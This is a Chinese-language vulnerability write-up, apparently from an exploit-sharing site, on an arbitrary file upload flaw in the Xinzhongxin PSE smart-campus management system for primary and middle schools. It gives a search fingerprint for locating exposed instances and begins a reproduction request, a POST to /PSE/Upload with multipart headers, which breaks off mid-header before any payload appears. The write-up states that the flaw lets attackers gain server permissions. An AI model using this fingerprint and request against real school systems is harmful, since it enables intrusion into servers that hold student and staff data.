新中新中小学智慧校园信息管理系统PSE存在任意文件上传漏洞

一、漏洞简介

新中新华科电子有限公司是新中新集团旗下主营智慧校园、智慧餐饮、智慧政企领域的产业公司，集自有产品研发、生产制造、全国营销、系统集成、云化运营、运维服务为一体，为广大客户提供完整的解决方案和自主知识产权产品，是国内领先的校园一卡通系统解决方案供应商，在一卡通领域拥有多年的技术优势与经验积累，全国拥有众多双一流、985/211高校用户，还拥有大量K12用户及企业、事业单位客户。新中新中小学智慧校园信息管理系统PSE存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。

二、资产测绘

• body=“/Login/IndexMobi”
• 特征
  

三、漏洞复现

POST /PSE/Upload HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: 
Accept